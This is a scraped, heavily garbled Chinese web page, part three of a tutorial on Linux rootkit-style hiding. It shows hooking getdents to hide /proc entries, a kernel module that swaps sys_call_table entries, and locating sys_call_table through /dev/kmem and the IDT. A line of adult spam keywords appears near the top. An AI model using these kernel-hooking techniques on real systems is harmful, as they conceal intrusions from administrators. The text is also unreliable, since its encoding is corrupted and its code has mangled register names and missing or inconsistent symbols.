i_ino == PROC_ROOT_INO !MAJOR(dinode->i_dev) MINOR(dinode->i _dev) == 1) {該文件屬于proc文件系統(tǒng)} 通過(guò)上面的分析,給出隱。Linux系統(tǒng)環(huán)境下的高級(jí)隱藏技術(shù)介紹( 三 )。" />

日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

Linux系統(tǒng)環(huán)境下的高級(jí)隱藏技術(shù)介紹( 三 )



1)得到該文件對(duì)應(yīng)的inode結(jié)構(gòu)dinode;
2)if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i _dev) == 1) {該文件屬于proc文件系統(tǒng)}

通過(guò)上面的分析,給出隱藏特定進(jìn)程的偽代碼表示:

hacket_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{

調(diào)用原來(lái)的系統(tǒng)調(diào)用;

得到fd所對(duì)應(yīng)的節(jié)點(diǎn);

if(該文件屬于proc文件系統(tǒng)&&該文件名需要隱藏)
{從dirp中去掉該文件相關(guān)信息}
}
【Linux系統(tǒng)環(huán)境下的高級(jí)隱藏技術(shù)介紹】 2.4 修改系統(tǒng)調(diào)用的方法

現(xiàn)在已經(jīng)解決了如何修改系統(tǒng)調(diào)用來(lái)達(dá)到隱藏的目的,那么如何用修改后的系統(tǒng)調(diào)用來(lái)替換原來(lái)的呢?這個(gè)問(wèn)題在實(shí)際應(yīng)用中往往是最關(guān)鍵的,下面將討論在不同的情況下如何做到這一點(diǎn) 。

(1)當(dāng)系統(tǒng)導(dǎo)出sys_call_table,并且支持動(dòng)態(tài)的插入模塊的情況下:

在Linux內(nèi)核2.4.18版以前,這種內(nèi)核配置是非常普遍的 。這種情況下修改系統(tǒng)調(diào)用非常容易,只需要修改相應(yīng)的sys_call_table表項(xiàng),使其指向新的系統(tǒng)調(diào)用即可 。下面是相應(yīng)的代碼:

int orig_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
int init_module(void)
/*初始化模塊*/
{
orig_getdents=sys_call_table[SYS_getdents];//保存原來(lái)的系統(tǒng)調(diào)用
orig_query_module=sys_call_table[SYS_query_module]
sys_call_table[SYS_getdents]=hacked_getdents;//設(shè)置新的系統(tǒng)調(diào)用
sys_call_table[SYS_query_module]=hacked_query_module;
return 0; //返回0表示成功
}
void cleanup_module(void)
/*卸載模塊*/
{
sys_call_table[SYS_getdents]=orig_getdents;//恢復(fù)原來(lái)的系統(tǒng)調(diào)用
sys_call_table[SYS_query_module]=orig_query_module;
}

(2)在系統(tǒng)并不導(dǎo)出sys_call_table的情況下:

linux內(nèi)核在2.4.18以后為了安全起見(jiàn)不再導(dǎo)出sys_call_table符號(hào),從而無(wú)法直接獲得系統(tǒng)調(diào)用表的地址,那么就必須找到其他的辦法來(lái)得到這個(gè)地址 。在背景知識(shí)中提到了/dev/kmem是系統(tǒng)主存的映像,可以通過(guò)查詢?cè)撐募?lái)找到sys_call_table的地址,并對(duì)其進(jìn)行修改,來(lái)使用新的系統(tǒng)調(diào)用 。那么如何在系統(tǒng)映像中找到sys_call_table的地址呢?讓我們先看看system_call的源代碼是如何來(lái)實(shí)現(xiàn)系統(tǒng)調(diào)用的(代碼見(jiàn)/arch/i386/kernel/entry.S):

ENTRY(system_call)
pushl 陎# save orig_eax
SAVE_ALL
GET_CURRENT(離)
cmpl $(NR_syscalls),陎
jae badsys
testb $0x02,tsk_ptrace(離)# PT_TRACESYS
jne tracesys
call *SYMBOL_NAME(sys_call_table)(,陎,4)
movl 陎,EAX(%esp)# save the return value
ENTRY(ret_from_sys_call)
這段源代碼首先保存相應(yīng)的寄存器的值,然后判斷系統(tǒng)調(diào)用號(hào)(在eax寄存器中)是否合法,繼而對(duì)設(shè)置調(diào)試的情況進(jìn)行處理,在所有這些進(jìn)行完后,利用call *SYMBOL_NAME(sys_call_table)(,陎,4) 來(lái)轉(zhuǎn)入相應(yīng)的系統(tǒng)調(diào)用進(jìn)行處理,其中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地址 。從上面的分析可以看出,當(dāng)找到system_call函數(shù)之后,利用字符匹配來(lái)尋找相應(yīng)call語(yǔ)句就可以確定sys_call_table的位置,因?yàn)閏all something(,陎,4)的機(jī)器指令碼是0xff 0x14 0x85 。所以匹配這個(gè)指令碼就行了 。至于如何確定system_call的地址在背景知識(shí)中已經(jīng)介紹了,下面給出相應(yīng)的偽代碼:

struct{ //各字段含義可以參考背景知識(shí)中關(guān)于IDTR寄存器的介紹
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{ //各字段含義可以參考背景知識(shí)中關(guān)于中斷描述符的介紹
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
}__attribute__((packed))idt;
int kmem;
/ *下面函數(shù)用于從kemem對(duì)應(yīng)的文件中偏移量為off處讀取sz個(gè)字節(jié)至內(nèi)存m處*/

推薦閱讀